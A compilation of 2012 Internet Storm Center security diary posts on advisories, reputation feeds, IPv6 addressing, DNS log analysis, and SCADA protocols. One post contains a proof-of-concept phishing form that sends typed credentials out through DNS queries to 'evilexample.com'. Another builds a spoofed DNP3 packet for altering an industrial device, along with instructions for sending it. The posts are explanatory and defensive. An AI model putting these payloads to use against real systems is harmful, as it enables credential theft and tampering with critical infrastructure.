Polish security firm Security Explorations has sent an advisory, with a proof-of-concept exploit, to Oracle today (Friday 31 AUG) specific to a vulnerability they discovered in the Java 7 security update released Thursday.  This newly reported vulnerability can be exploited to escape the Java sandbox and execute arbitrary code on the underlying system.
Standby for more on this one, no word yet from Oracle regarding their remediation plans.

As Rapid7's Tod Beardsley has said: "As it happens, very few websites rely on Java for dynamic content. Java isn't relied on nearly as much as Javascript and Flash. Most people can disable their Java browser plugin and not really notice the difference."

What mitigations are you utilizing to protect yourselves? Going so far as disabling Java all together? Feedback welcome via comments.

See Scott's post from yesterday for the original advisory details.

Russ McRee | @holisticinfosec

VMware released one new security advisory, and updated 2 older once.

New: VMSA-2012-0013 [1]

The update affects vCenter (and Update Manager) 4.1 without Update 3, as well as ESX/ESXi. It patches a number of open source components that are included as part of VMware: Apache struts, popt/rpm, glibc, libxm2, Perl, OpenSSL, JRE and the Linux Kernel.

An interesting update is the update of Java, which is included in ESX. Some of the older versions of ESX and vCenter still use Java 1.5, which was left out of the recent issues. However, for those VMware products that do use Java 1.6, only update 31 is provided. As of yesterday, Update 35 is "current". 

Updated: 

VMSA-2012-0005.2 [2]:  Added Windows 7 information
VMSA-2012-0012.1 [3]: included information about vSphere 4.1 U3

[1] http://www.vmware.com/security/advisories/VMSA-2012-0013.html
[2] http://www.vmware.com/security/advisories/VMSA-2012-0005.html
[3] http://www.vmware.com/security/advisories/VMSA-2012-0012.html

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

A short while ago, Oracle released updates for both Java 6 and Java 7 in response to the critical 0-Day vulnerabilities discussed earlier this week, as well as two other security issues.

US-CERT has reported that applying Java 7 update 7 will solve the security issues as discussed at http://www.kb.cert.org/vuls/id/636312

More information is available at http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-1835715.html

Scott Fendley ISC Handler

Last week I posted a diary about analyzing outgoing network traffic and asked our readers to comment what data sources they use when monitoring outbound connections our users establish.

Besides the sources I listed in the original diary we got quite a few comments and some good questions, so I’m combining all these in this, second, diary:

• Emerging Threats’ RBN list: http://doc.emergingthreats.net/bin/view/Main/RussianBusinessNetwork
• ET's compromised IPs list: http://rules.emergingthreats.net/open/suricata/rules/compromised-ips.txt
• All abuse.ch trackers: Zeus (https://zeustracker.abuse.ch/), SpyEye (https://spyeyetracker.abuse.ch/), Palevo (https://palevotracker.abuse.ch/)
• .. or ET's list of bot C&C's which combines abuse.ch trackers and Shadowserver: http://rules.emergingthreats.net/open/suricata/rules/botcc.rules
• http://www.malwaredomainlist.com/mdl.php - a good malware domain/IP address list. There does not appear to be a list you can download, but you can update through RSS feeds they offer.
• Spamhaus' Don't Route or Peer List (DROP): http://www.spamhaus.org/drop/
• Alienvault also has a free IP reputation list available at https://reputation.alienvault.com/reputation.generic
• Shadowserver has a great list available at http://www.shadowserver.org/wiki/pmwiki.php/Services/Downloads - you have to register though and can see only information about your own networks contacting known C&C's.

These include the lists I verified in the mean time – for more check comments in the first diary.

One of our readers, Arnim, also asked about a potentially very useful list of IP addresses belonging to remote access services such as LogMeIn, NetViewer and similar. I’m not aware of such a list but it would be very useful. Emerging Threat’s has something similar – a list of outgoing ToR nodes but that only helps you figure out if someone that visited your network used ToR. The list is available at http://rules.emergingthreats.net/open/suricata/rules/tor.rules

Thanks to everyone that submitted their comments, including Christian, Ben, Arnim, Hal, Matt, Brent and many others.

--
Bojan
INFIGO IS

The use of "data" URLs in cross site scripting and other attacks isn't exactly new. But the concept is still not widely known, and keeps getting rediscovered. The latest iteration is a paper outlining the use of "data" URLs in "server less phishing" [1]. (thanks to our reader Tor for pointing this paper out)

"data" URLs are defined in RFC 2397 (published 1998! ancient internet history) and implemented in all browsers I am aware off. I remember actually using them back in the old days to embed images in some of my early CGI scripts, before I figured out better ways to do this.

The syntax is pretty simple:

data:[<mediatype>][;base64],[data]

The trick is that the "data" URL doesn't point to a remote document like a traditional URL, but instead it includes all the data needed to display the page. Here are two examples: a small image. and a simple HTML page. You can create your own "data" URLs easily at the "Data URI Kitchen" [1] .

You can probably see how it wouldn't be too hard to come up with a half way convincing phishing page. The problem is that there are few defenses against this type of phishing. The web browser will not connect to any external resource to display the phish, unless images are included from remote sites (they could also be embedded). The only limit is whatever size limit to URLs the browser imposes.

From a phishing perspective, this will allow inserting the form, but you will still need a web server to receive the data. Unless of course, you can exfiltrate this via DNS. Here is a little proof of concept HTML / javascript to accomplish this. The "image" loaded here doesn't actually exist, and the only thing we are interested in is the DNS request sending the username and password as it is typed:

<html>
<script>
fakeimage=new Image();
function send(form) {
var user=form.user.value;
var pass=form.pass.value;
fakeimage.src="http://"+user+'.'+pass+'.evilexample.com/image.gif';
}
</script>
<form action="http://phishmebank.com">
Username: <input type="text" name="user" onkeydown="send(this.form);">
Password: <input type="password" name="pass" onkeydown="send(this.form);">
</form>
</html>

 Did I mention that you should REALLY watch your DNS and HTTP proxy logs (this would not show up in your proxy logs if the DNS query returns NXDOMAIN)

[1] http://klevjers.com/papers/phishing.pdf
[2] http://software.hixie.ch/utilities/cgi/data/data

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

This is what we know so far about the vulnerability: there is an exploit in the wild, it works on the latest FireFox, and Chrome, and it targets Java 1.7 update 6, there is currently no patch available, the exploit has been integrated into the metasploit framework.

What this means: the potential hit rate for drive-by attacks is currently elevated.  Since this is a java vulnerability, this may also affect more than just Windows platforms (multi-platform attacks currently unconfirmed, based on the multi-platform compatibility of java itself.)

The next patch cycle from Oracle isn't scheduled for another two months (October.)

What you can do: this places normal end-users in a pretty bad position, relying mostly upon disabling, or restricting java and hoping that AV catches the payload that gets installed.  None of these are really good options.  There is a 3rd-party developed patch that is said to exist, but it's not intended for end-users.  My current recommendations are to disable java if you can (see Brian Kreb's handy guide here: http://krebsonsecurity.com/how-to-unplug-java-from-the-browser/ ,) or use something like no-script to help control where you accept and execute java from.

Suggested reading on the topic:

• http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
• http://krebsonsecurity.com/2012/08/attackers-pounce-on-zero-day-java-exploit/
• http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html

Thanks to Kevin, and Ed for directing us to this.

A couple years back at our annual RSA "top threat" panels, one of the possible exploits I suggested was the use of social network information for more automated targeted e-mail. At that time, most "spear phishing" was done by first manually collecting information about the victim, then creating an e-mail based on that information. In short: The exploit didn't scale and was expensive. Most of what a half way skilled attacker can do can be done cheaper and faster by a decent python/perl script.

Since then, we have seen a number of mass mail campaigns using automated harvesting of social network information. For example, some of the early campaigns searched Linked-In for specific job titles. 

This latest one abuses information published on Facebook.  The spam appears to come from a "Facebook Friend" of yours. As a sample:

From: Some Friend <randomname@yahoo.co.id> Subject: FOR FIRSTNAME To: your@emailaddress

The e-mails contain what appears to be valid Yahoo DKIM signatures, so they are likely sent from compromised or throw away Yahoo accounts. "FIRSTNAME" would be the recipients first name, and "Some Friend" would be the friends name. Depending on your e-mail client, you may not see the email address used in the "From" header.

To double check your Facebook (or other social network) privacy settings, make sure you log out, then search for yourself on the social network and verify that the information you get back is in line with your privacy expectations.

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

As you are planning to roll out IPv6, one of the questions that keeps coming up is how to assign addresses. Sure, you may do so manually one system at a time, but that is not exactly the preferred method. IPv6 provides two different protocols to assign addresses:

Router Advertisements (RA)

The router may advertise itself, and the network it is supporting, via Router Advertisements. In this case, the router will typically advertise the first 64 bits of the address, and the host will make up the last 64. Router advertisements that advertise more then 64 bits are ignored. Router Advertisements are widely supported by client devices. The problem with this method is that you will see very little accountability as to who is using what IP address at what time. Unlike DHCP, there is no "lease" and the router will not log who used what address when.

DHCPv6

DHCPv6 is a complete rewrite of the DHCP protocol, but provides many of the same features you are used to from DHCPv4. Your DHCPv6 server will hand out leases, you can assign static IP addresses, and you will obtain logs with details who obtained what IP address, just like in IPv4 (of course, just like in IPv4, a malicious user could just "pick up" an address without using the DHCP server).

RA and DHCPv6 interactions

It gets tricky if you have both, router advertisements and DHCP. This is actually "normal" when it comes to IPv6. Router advertisements include two flags, which will indicate the presence of a DHCP server:

- "managed" flag: used to indicate that there is a DHCP server handing out addresses.
- "other" flag: used to indicate that there is a DHCP server handing out other information (like DNS server addresses) but not addresses. The address is still provided by the router advertisement.

I ran some preliminary tests to see how different operating systems resolve the conflicts that may occur if both router advertisements and DHCP is present. I used a Cent OS server as router and DHCP server, and as client, I used Cent OS 6.3 ("Linux"), OS 10.8 Mountain Lion (OS X), Windows 7 and Windows 8 (latest pre-release from technet).

1. "Other" and "Managed" flag cleared, but the DHCP server is still running and the systems had a DHCP address prior to the last reboot
   Windows 8 and OS X will still use the DHCP server.
   Linux and Window 7 will only use the RA provided address
2. "Managed" flag set, DHCP server running
   all operating systems tested will use RA and DHCP provided addresses
3. "Managed" and "Other" flag set, but the DHCP server is not running
   all operating systems tested will just use the RA provided addresses
4. "Managed" and "Other" flag set (and DHCP Server running
   This test was a bit tricky. In a first round, all operating systems ignored the RA, and only used the DHCP address. In a second round, they accepted all.

Advertising recursive name servers via RA

A relatively recent extension to router advertisements allows the inclusion of the recursive name servers IP address ("RDNSS"). This option was originally introduced by RFC 5106, and later revised by RFC 6106 [1]. Linux and OS  X appears to accept it, but Windows doesn't.  (7 or 8). 

iOS/Android

According to my tests, neither operating system appears to support DHCPv6. You have to use router advertisements to configure IPv6. However, both operating systems make it hard to review the IPv6 configuration, and I am still working on more systematic tests. According to some sources, iOS appears to support DHCPv6, but I wasn't able to verify this so far in my tests [2].

[1] http://tools.ietf.org/html/rfc6106
[2] http://en.wikipedia.org/wiki/Comparison_of_IPv6_support_in_operating_systems

(thanks to feedback from readers, I did edit some parts of the diary removing confusing statements about "RA" and stateless auto configuration as well as cleaning up the language around RFC 5106). 

 (want to learn more about IPv6? Or just want to go to Vegas? See http://www.sans.org/network-security-2012/description.php?tid=5086 )

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

A reader sent us an email with an link to a posting about a compromise and that posting included links to the compromised data. They were frustrated from trying to contact someone to warn them that their data was out there and being unable to get hold of anyone except a recording to call 911 if it was an emergency.(Guess no one is thinking about a cyber emergency)

I had to agree with the reader.  It's frustrating to try to make contact with an actual security group or someone who handles such things.   The only number you can generally find and can get a person on the phone to speak with is customer service.  They have NO idea what your talking about or what to do with you.  Most of the time what is listed on a website for contact information is an email address. How often is that monitored and if the issue is major for the entity, how long can they afford to let it go unanswered.

  To quote the email we received:

"It is kind of an interesting issue, though. "Does your company have an easy
way for people to get in touch with it 24x7?"

If you're a bank and a customer gets a phishing email on a Saturday
afternoon, like next Saturday before a long weekend, how long would it be
before someone at the bank knew they were getting phished?"

In the scenario emailed to us, you have an individual, with knowledge of what seems to be freshly posted damaging data, trying to be a good net citizen and let the organization know.  The only thing that they could do was send an email and hope someone sees it.

There are two sides to think about in this issue.

First, if your in this reader's position, how do you try to make contact? Do you have a better method?   He suggested also sending emails to the following and see if they exist:

·         All ARIN contacts if applicable

·         All domain name registrar contacts

·         postmaster@

·         security@

·         webmaster@

·         abuse@

·         Any I can find on the website itself
 

Second thought, your the company/organization that has data out there, how successful would you be in the above scenario? Do you have phone numbers people can call?  If customer service gets a call, do they even know you have a security department or how to route the call?  How often does that email account get checked that you have posted as a contact?  Better yet, who checks it and makes a decision if its important and gets passed on and who it gets passed on to.  If it went to the webmaster, will they ignore it or are they trained who to pass it on to for review?  Have you ever tested your organization from this point of view?  It is my opinion that every person in the organization needs to know who to contact for cyber related issues and the process is very clear.

So again, the real question is "Who ya gonna contact?"

Overview

How often do I say "send us a note on our contact form" and I've never detailed the page in a feature!? This is a good time to mention, if you have any aspect of the site you would like reviewed or explained in more detail, please feel free to send us a note on our contact form at https://isc.sans.edu/contact.html. Yup, just did that again! :>

There are many reasons, ways and places to contact the Internet Storm Center. Whether you have a general security question, want to let us know about a patch release, want to discuss current events with security folk, find a glitch in the matrix or have a packet capture you'd like analyzed, the Contact Us page at https://isc.sans.edu/contact.html is the place to go.

Features

The top paragraph explains the usefulness of the DShield Discussion List for certain topics. The groups' messages are moderated and generally release within a few minutes to a few hours of submitting and you can expect a response just as quick.

SSL Version - https://isc.sans.edu/contact.html

The first sub navigation link forwards you to an SSL encrypted version of the page. Note that the site should now automatically default to https but this is still available just in case.

Submit Logs - https://isc.sans.edu/contact.html#submit-logs

Log Submissions were detailed in our very first Feature Diary at https://isc.sans.edu/diary/ISC+Feature+of+the+Week+How+to+Submit+Firewall+Logs/12316.

Report Site Bug - https://isc.sans.edu/contact.html#submit-bug

In addition to the contact form detailed below, we check the DShield sourceforge project page regularly. You can submit bugs, feature requests, and support requests. We are always working on improving the site. Be sure and include your debug info along with submissions.

Contact Form - https://isc.sans.edu/contact.html#contact-form

• This form is sent to all ISC handlers so your submission or inquiry gets the widest exposure to our group. Be sure to include a valid email if you'd like a response or credit.
• Enter a valid email address, your name and the subject of your message.
• Attach a File
  
  • Compress multiple files into one tar/zip file.
  • Please don't encrypt or obfuscate the files.
  • Feel free to upload malware samples for analysis but please mention the nature of the content in the text box below
• A large text box is provided for your message.
• Let us know your preference for future use of the information you are submitting:
  
  • Is it ok to forward your submission to our malware analysis group?
  • May we mention your observation in our diary? (your thoughts, findings, etc)
  • May we mention your first name in our diary? - Let us know in the textbox if we can also mention a last name and/or a company or we'll keep your information private.
• Category will help us identify the type of submission. Leave default "other" for general, or select "Malware" or "Packets" where appropriate.

Your submission is distributed to all ISC handlers at handlers@isc.sans.edu and will be kept confidential within the group until and only if you authorize its use. If you have any concerns, please review our Privacy Policy.

We are #dshield on freenode.net if you'd like to chat with us on IRC.

You can leave a Voice Mail at (757) SANS-ISC (726-7472) if you prefer to contact us by phone.

The PGP keys file https://isc.sans.edu/PGPKEYS.txt contains a lot of ISC's and the handler's public keys.

Post suggestions or comments in the section below or send us any questions or comments in the contact form on https://isc.sans.edu/contact.html#contact-form

--
Adam Swanger, Web Developer (GWEB, GWAPT)
Internet Storm Center https://isc.sans.edu

We all know that network traffic contains real treasure when trying to identify malicious activities. Various organizations recognized this and even mandate that IDS or IPS systems are implemented.

However, such systems typically have similar problems as anti-virus products – they depend either on pre-made signatures or some kind of heuristics which can be (sometimes easily) evaded.

At the same time, in the AV world we can see that more vendors rely on things such as cloud scanning and reputation systems.

One of the things I often recommend to people is that they check outgoing network sessions created by their networks – not only established connections but also various attempts. For example, you should regularly monitor your firewall logs to see what traffic has been dropped – but put more effort into analyzing what egress connections were blocked since that can help you identify potentially infected (or hacked) machines on your network.

The best example of when such analysis really pays off is RSA Security – through egress log analysis they found out that the hacker that compromised their network used FTP to transfer files to an external machine. This should make you ask yourself – do you monitor egress connections to detect big(ger) transfers to external hosts, especially those in weird locations?

Another thing that I found really useful is to correlate those connection attempts to known bad reputation sources; this is where we get to the beginning of this diary. Such correlation can really add value to your firewall/router data – knowing that an internal IP address tried to connect to an external IP address, and that this connection attempt was blocked is good, but knowing that the external IP address is actually a ZeuS C&C really adds value!

Some of the reputation sources that are free, and that I found to be working really well are the following (in no particular order):

• Emerging Threats’ RBN list: http://doc.emergingthreats.net/bin/view/Main/RussianBusinessNetwork
• All abuse.ch trackers: Zeus (https://zeustracker.abuse.ch/), SpyEye (https://spyeyetracker.abuse.ch/), Palevo (https://palevotracker.abuse.ch/)

Do you use other reputation sources? Anything you wish to add to this list? Let us know!

--
Bojan
INFIGO IS

I have seen one on my own phone, and a lot of people have reported seeing them. It is an SMS mesage from a throw away or spoofed number and looks something like this:

"You have won an Apple iPad or iPhone or iPod or something from Apple, click on this www.apple.com.othercrud.baddomain"

Guess what? You have won your credentials being phished, free malware, and other badness. Ain't nothing for free. Although from the spammer/phisher point of view they get something of value from people who expect something for nothing, for little effort on the part of the spammer/phisher. Funny how that works.

Cheers,
Adrien de Beaupré
Intru-shun.ca Inc.

I will be teaching SANS Sec560 in Montreal this September, and Sec542 in Vancouver this December.

The Remote Desktop 3.6.1 update from Apple fixes the problem that if a user connected to a remote VNC server that did not have encrytion enabled, there was no encryption, even though "Encrypt all network data" is set. The user wasnot alerted to the problem. I particularly like software that allows you to select a secure option, then promptly ignores it, without telling you. The solution is that now the Remote Desktop application first attempts to login via SSH, then tunnels over the connection. The connection will now fail is "Encrypt all network data" is set and the SSH tunnel is not established. The CVE for this issue is CVE-2012-0681. More information from Apple is here: https://support.apple.com/kb/HT5433

Thanks Dave for writing in!

Cheers,
Adrien de Beaupré
Intru-shun.ca Inc.

I will be teaching SANS Sec560 in Montreal this September, and Sec542 in Vancouver this December.

The Rugged Operating System (ROS) has a hard coded RSA private key used for SSL/TLS communications. With the private key from a server being a known value it is not difficult to decrypt any traffic to/from the device. This vulnerability could lead to loss of confidentiality, loss of integrity, and loss of availability for a device that should be secure and reliable. This is the same set of devices that had a backdoor account disclosed in April, where the account name was factory and the password was based on the MAC address. These devices are often used in SCADA and process control systems, where they should be adequately protected from any potentially hostile network access. For 'hardened' devices these two significant fails to implement security properly makes you wonder.

The key management fail is from an ICS-CERT ALERT: http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-12-234-01.pdf

The backdoor and password management fail is here: http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-12-116-01A.pdf

Thanks Andrew for writing in!

Cheers,
Adrien de Beaupré
Intru-shun.ca Inc.

I will be teaching SANS Sec560 in Montreal this September, and Sec542 in Vancouver this December.

From their Security Bulletin "Adobe has released security updates for Adobe Flash Player 11.3.300.271 and earlier versions for Windows, Macintosh and Linux, Adobe Flash Player 11.1.115.11 and earlier versions for Android 4.x, and Adobe Flash Player 11.1.111.10 and earlier versions for Android 3.x and 2.x. These updates address vulnerabilities that could cause a crash and potentially allow an attacker to take control of the affected system." Fixes the following CVE entries: CVE-2012-4163, CVE-2012-4164, CVE-2012-4165, CVE-2012-4166, CVE-2012-4167, CVE-2012-4168. It appears as though Adobe is going for a weekly update cycle.

More details are here: https://www.adobe.com/support/security/bulletins/apsb12-19.html

Thanks Toby and Rene for writing in!

Cheers,
Adrien de Beaupré
Intru-shun.ca Inc.

I will be teaching SANS Sec560 in Montreal this September, and Sec542 in Vancouver this December.

We have heard a couple of cases regarding problems caused my faulty antivirus signature files.Most recend that has a worldwide impact was the Microsoft Antivirus treating code from google webpage as virus. In 2010, Mcafee deployed DAT 5958 which identified svchost.exe as a virus, deleting it an causing loose of network access. In April 2011, Mcafee deployed DAT 6329, which caused disruption in SAP telephone connectivity functionality as it recognized spsgui.exe with virus. Also deployed DAT 6682, which caused system crash in GroupShield Exchange (MSME), GroupShield Domino, and McAfee Email Gateway.

Yesterday, we received report from reader John stating that computers with DAT 6807 installed got conectivity problems. Today Mcafee confirmed this to be a problem if you are using VSE 8.8.x and have DAT 6807 or 6808 installed. Their recommendation is to go straight to DAT6809.

Other antivirus programs like AVG also deploys faulty updates. Since these events are becoming a worrying trend, should we implement test procedures inside our organizations as we do with other updates like the ones deployed by Microsoft with Windows Update? Implementing a faulty update has a high risk to the organization and its solution consumes considerable time and substantial resources. I am considering implementing such procedure for my company.

Do you think it's necessary to implement such procedure in your company? Let us know!

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail:msantand at isc dot sans dot org

Well, better late than never ;) My SANSFIRE conference was about authentication issues between entities where unauthorized parties can exchange fake messages which may cause damage to the industrial process controlled by the SCADA system. I want to discuss today how you can change a timestamp of an Intelligent Electronic Device (IED) using DNP3 supplanting the Master Terminal Unit. For today's discussion, I will talk from the Power SCADA perspective.

Let's do a review on the SCADA systems architecture:

The components are:

• Remote Terminal Unit (RTU): The RTU is defined as a communication device within the SCADA system and is located at the remote substation. The RTU gathers data from field devices in memory until the MTU request that information. It also process orders from the SCADA like switch off a transmission line.
• Master Terminal Unit (MTU): The MTU is defined as the heart of a SCADA system and is located at the main monitoring center. MTU initiates communication with remote units and interfaces with the DAS and the HMI.
• Data Acquisition System (DAS): The DAS gathers information from the MTU, generates and store alerts that needs attention from the operator because it can cause impact on the system. 
• Human Machine Interface (HMI): The HMI is defined as the interface where the operator logs on to monitor the variables of the system. It gathers information from the DAS.

DNP3 is a set of communication protocols used between RTU and IED devices. The communication scheme is as follows:

Source: Practical Industrial Data Communications

Please note that there is no previous level 7 protocol synchronization requesting any kind of authentication. Master Station (RTU) just sends a request, Slave Station (IED) confirms reception, responds the requirement and then Master Station Acknowledge reception. This means the protocol is vulnerable to spoofing attacks to both Master Station and Slave Station as any station can pose as any of the points just sending spoofed packets.

The most dangerous point is that IED can answer any of the available commands inside the protocol. Those are:

• Read: Some of the objects inside the IED have sensitive data that can be used as information to perform a ciberterrorist attack. For example, if a power transmission line is transmitting on top of its capacity, more electricity can be directed to that line for causing a massive power blackout.
• Write: IED can be configured to open circuits, overload circuits or similar operations. Those parameters can be saved permanently to the configuration file. If network communications for the IED is disabled, the only way to restore its configuration is configuration override from the device console.
• Delete File: If the IED configuration is wiped and then restarted, it cannot longer perform its function and cause a blackout in the entire power system.
• Save configuration: We already discussed how can this be used with write and delete file functions.
• Start application and Stop application: The IED can perform tasks which can cause blackouts or explosions inside energy substations.

 How could we sent a spoofed DNP3 packet? Let's have a look to the DNP3 frame format:

Source: Practical Industrial Data Communications

If we want to set the IED time and date to July 11 2012 01:46:54.632 UTC, what do we need to do? Let's create a packet that can do the job according to the DNP3 frame:

• Start: Every DNP3 frame has a starting delimiter, which is 0x564.
• Length:The length of the packet is all user data plus the source addess, destination address and control byte. All the information in packet is placed using the little-endian byte order. For this packet will be 18 bytes (0x12)
• Control: The message is sent from the master station to the slave station. Master Station ID is 2 and Slave Station ID is 1. This means direction bit is set and primary bit is set, which indicates that communication is happening from the Master Station and directed to the slave station. Frame Count bit and Frame Count Valid is not set. Function code is 4 (no confirmation expected). Final value for this byte is 0xc4. More information on the control bit follows:

Source: Practical Industrial Data Communications

• Destination is set to 1 (0x0100) as described in the control byte.
• Source is set to 2 (0x0200) as described in the control byte.
• CRC: Once calculated, it is set to 0xc993.
• Transport Layer byte: Final bit is set because this is the last message sent for the function code. First bit is set because this is the first mesage sent for the function code. Sequence number is 1. Binary number obtained is 11000001, which is 0xc1.
• Application Layer byte: Final bit is set because this is the last message sent for the function code. First bit is set because this is the first mesage sent for the function code. Confirm bit is not set as confirmation is not needed. Unsolicited frame is not set as this message is not sent by the slave station as unrequested information and sequence number is set to 1. Binary number obtained is 11000001, which is 0xc1.
• Function code: We are writing a timestamp object, so the function code is Write (0x02).
• Qualifier field: There is no index prefix and qualifier code is 8-bit single field quantity, which is 7. Binary number obtained is 00000111, which is 0x07.
• Number of items: We are writing a single timestamp, so it is only one (0x01) item.
• Timestamp: It's stored using the CP56Time2a format. Once converted, we store 0x28b1b7733801
• Checksum: Once calculated, it is set to 0xb872.

The packet would be store as follows using C notation: char buffer1[256]="\x05\x64\x12\xc4\x01\x00\x02\x00\x93\xc9\xc1\xc1\x02\x32\x01\x07\x01\x28\xb1\xb7\x73\x38\x01\xb8\x72"

If we want to send this packet, we only need to build a TCP connection to port 20000 and send the information stored in buffer1 with source IP address same as the real master station. You will see the timestamp change on the IED.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail:msantand at isc dot sans dot org

Chad sent us a report today that they have been receiving strange eFax messages. Users who are using eFax are receiving "spear phishing" emails.

The emails are using the default eFax account (From: eFax <message@inbound.efax.com>) and avoiding most corporate SPAM filters. The link contained in this fax is suspicious which redirect to 3 different sites with the same Javascript.

We are looking for additional information that could help us understand if this new "spear phishing" method is widespread. If you have been receiving similar messages or have any tips on how you managed to filter this type of activity, please use our contact form, or share in the comments below.

[1] http://wepawet.iseclab.org/view.php?hash=dc41d8a1e845994cb01e3223ab51cbf1&t=1345162214&type=js
[2] http://wepawet.iseclab.org/view.php?hash=5c8c6f3205e7aa28bfd32d59f320e069&t=1345162348&type=js
[3] http://wepawet.iseclab.org/view.php?hash=f990f01593e5b603ee319c92f8cf3e94&t=1345162442&type=js

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

I still think, DNS logs are one of the most overlooked resources for intrusion and malware detection. Frequently, command and control servers will use specific top level domains or host names, and due to short TTL values, infected hosts will frequently query DNS servers for these names. 

Additionally, DNS servers are overlooked choke points, which are as valuable to collect network wide data as firewalls and routers connecting the network to the internet.

In this diary, I would like to introduce a simple shell script to answer one question that in my opinion is quite useful to detect anomalous DNS queries: Which are the top 10 new host names that we looked up today.

First, you need DNS query logs, there are two ways to collect them: you could either enable query logging in your DNS server, or you could just use tcpdump on the DNS server to collect the logs. Query logging works fine for me, but it can put too much strain on a very busy name server. Running tcpdump on the name server, or a sensor monitoring the name server, may work better. We do not have to capture every single query for this technique to work.

First, we need to summarize past queries. In my case, the query logs are rotated hourly, and saved in files with names like "query.log.*" (* is a number). A sample line from my query logs:

16-Aug-2012 21:42:00.260 queries: info: client 10.5.0.210#54481: query: a1406.g.akamai.net IN A + (192.0.2.1)

To extract the host names, and summarize them, I use the following script:

cat query.log.*| sed -e 's/.*query: //' | cut -f 1 -d' ' | sort | uniq -c | sort -k2 > oldlog

This will sort the output by hostname (sort -k2 sorts by the second column), which becomes important later.

Next, I apply the same procedure to the current log:

cat query.log| sed -e 's/.*query: //' | cut -f 1 -d' ' | sort | uniq -c | sort -k2 > newlog

Now, we need to find all entries in "newlog", that are not included in "oldlog". To do so, we use the bash command "join", which works pretty much like the SQL command join, but uses the two text files as input. It is important that the "join" column (the host name) is sorted, which was the reason for the -k 2 argument earlier.

join -1 2 -2 2  -a 2  oldlog newlog > combined

-a 2 will include all records from newlog that are not found in oldlog. "combined" now includes lines from both files, as well as the lines only found in "newlog". We need to remove the lines found in both files (which are identified by having two numbers):

cat combined | egrep -v '.* [0-9]+ [0-9]+$' | sort -nr -k2 | head -10

In the end, we sort the host names by frequency, and return the top 10.

To summarize the script for simple "copy/paste".I broke some lines up to a

oldlogs=query.log.*
newlog=query.log
tmpdir=/tmp
cat $oldlogs | sed -e 's/.*query: //' | cut -f 1 -d' ' | sort | uniq -c | sort -k2 > $tmpdir/oldlog  
cat $newlog | sed -e 's/.*query: //' | cut -f 1 -d' ' | sort | uniq -c | sort -k2 > $tmpdir/newlog
join -1 2 -2 2  -a 2  oldlog newlog | egrep -v '.* [0-9]+ [0-9]+$' | sort -nr -k2 | head -10 > $tmpdir/suspects

The file "suspects" will now include the top 10 suspect domains. For added credit: add the ability to keep a whitelist.

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

Wireshark released an update for its popular protocol analyzer fixing several bugs and vulnerabilities fixing 8 CVE. Affected versions are: 1.4.0 to 1.4.14, 1.6.0 to 1.6.9, 1.8.0 to 1.8.1. Latest version can be downloaded here.

[1] http://www.wireshark.org/docs/relnotes/wireshark-1.8.2.html
[2] http://www.wireshark.org/docs/relnotes/wireshark-1.6.10.html
[3] http://www.wireshark.org/docs/relnotes/wireshark-1.4.15.html
[4] http://www.wireshark.org/download.html

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

Overview of the August 2012 Microsoft patches and their status.

--
-- Rick Wanner - rwanner at isc dot sans dot org - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

Craig contacted the Storm Center inquiring about an interesting scan he has seen on his server for the last several days.  The scan is at the same time everyday and only runs for a brief time, but it comes from random IPs and at a volume which almost cripples his web server for the duration of the scan.

Below are some sample logs:

209.19.138.103 - - [13/Aug/2012:06:12:53 -0500] "GET /usmle-step-2-ck%26sa%3DU%26ei%3DweAoUKXcGO7ciQLpqoHACQ%26ved%3D0CCAQFjAE%26usg%3DAFQjCNGLZeLateC1dfcmOI4HHHZ33eaFbQ HTTP/1.1" 404 27320
207.70.9.103 - - [13/Aug/2012:06:12:53 -0500] "GET /usmle-step-1/step1%26sa%3DU%26ei%3DweAoUKXcGO7ciQLpqoHACQ%26ved%3D0CDIQFjAN%26usg%3DAFQjCNE7gGV1WVr1oas2WycwK6HXMTDc9Q HTTP/1.1" 404 27323
209.19.152.71 - - [13/Aug/2012:06:12:55 -0500] "GET /comlex-level-1%26sa%3DU%26ei%3DweAoUKXcGO7ciQLpqoHACQ%26ved%3D0CCQQFjAG%26usg%3DAFQjCNE9KmW1x2RLSZwTtSFJQlaciBdtZQ HTTP/1.1" 404 27319
209.19.182.245 - - [13/Aug/2012:06:12:53 -0500] "GET /pharmacology/%26sa%3DU%26ei%3DweAoUKXcGO7ciQLpqoHACQ%26ved%3D0CBoQFjAB%26usg%3DAFQjCNGWpETjIQO-QezV9OEnvmPeKrlWDA HTTP/1.1" 404 27318
207.70.60.19 - - [13/Aug/2012:06:12:53 -0500] "GET /usmle-step-2-ck/coupons/2g35%26sa%3DU%26ei%3DweAoUKXcGO7ciQLpqoHACQ%26ved%3D0CDAQFjAM%26usg%3DAFQjCNEgHYVBqXDBUNuyVgwAjaAlyRl12A HTTP/1.1" 404 27333

They all appear to be a potentially valid URL followed by an encoded string and all the requests appear to be looking for content related to US medical certification exams. 

I haven't been able to find any further information on this scan.  If any of you has seen this, or can provide any insight we would appreciate a heads up, either through our comments section or our contact page.  I will summarize any information that comes in.

-- Rick Wanner - rwanner at isc dot sans dot org - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

One of our ISC readers, Dave, sent us a note that Oracle released a security note for CVE-2012-3132, the Privilege Escalation vulnerability in the Oracle Database Server initially discussed during Black Hat 2012.   I recommend carefully reading the wording of this notification because there are Oracle products that contain the Oracle Database Server as a component of the overall suite, such as Oracle Enterprise Manager.  One comment that Dave and both had is that Oracle found it necessary to highlight what didn't need to be patched, in bold comments near the top of the article.  Our thought was that this could be misleading or misunderstood, and confusion is never a good thing.

tony d0t carothers --gmail

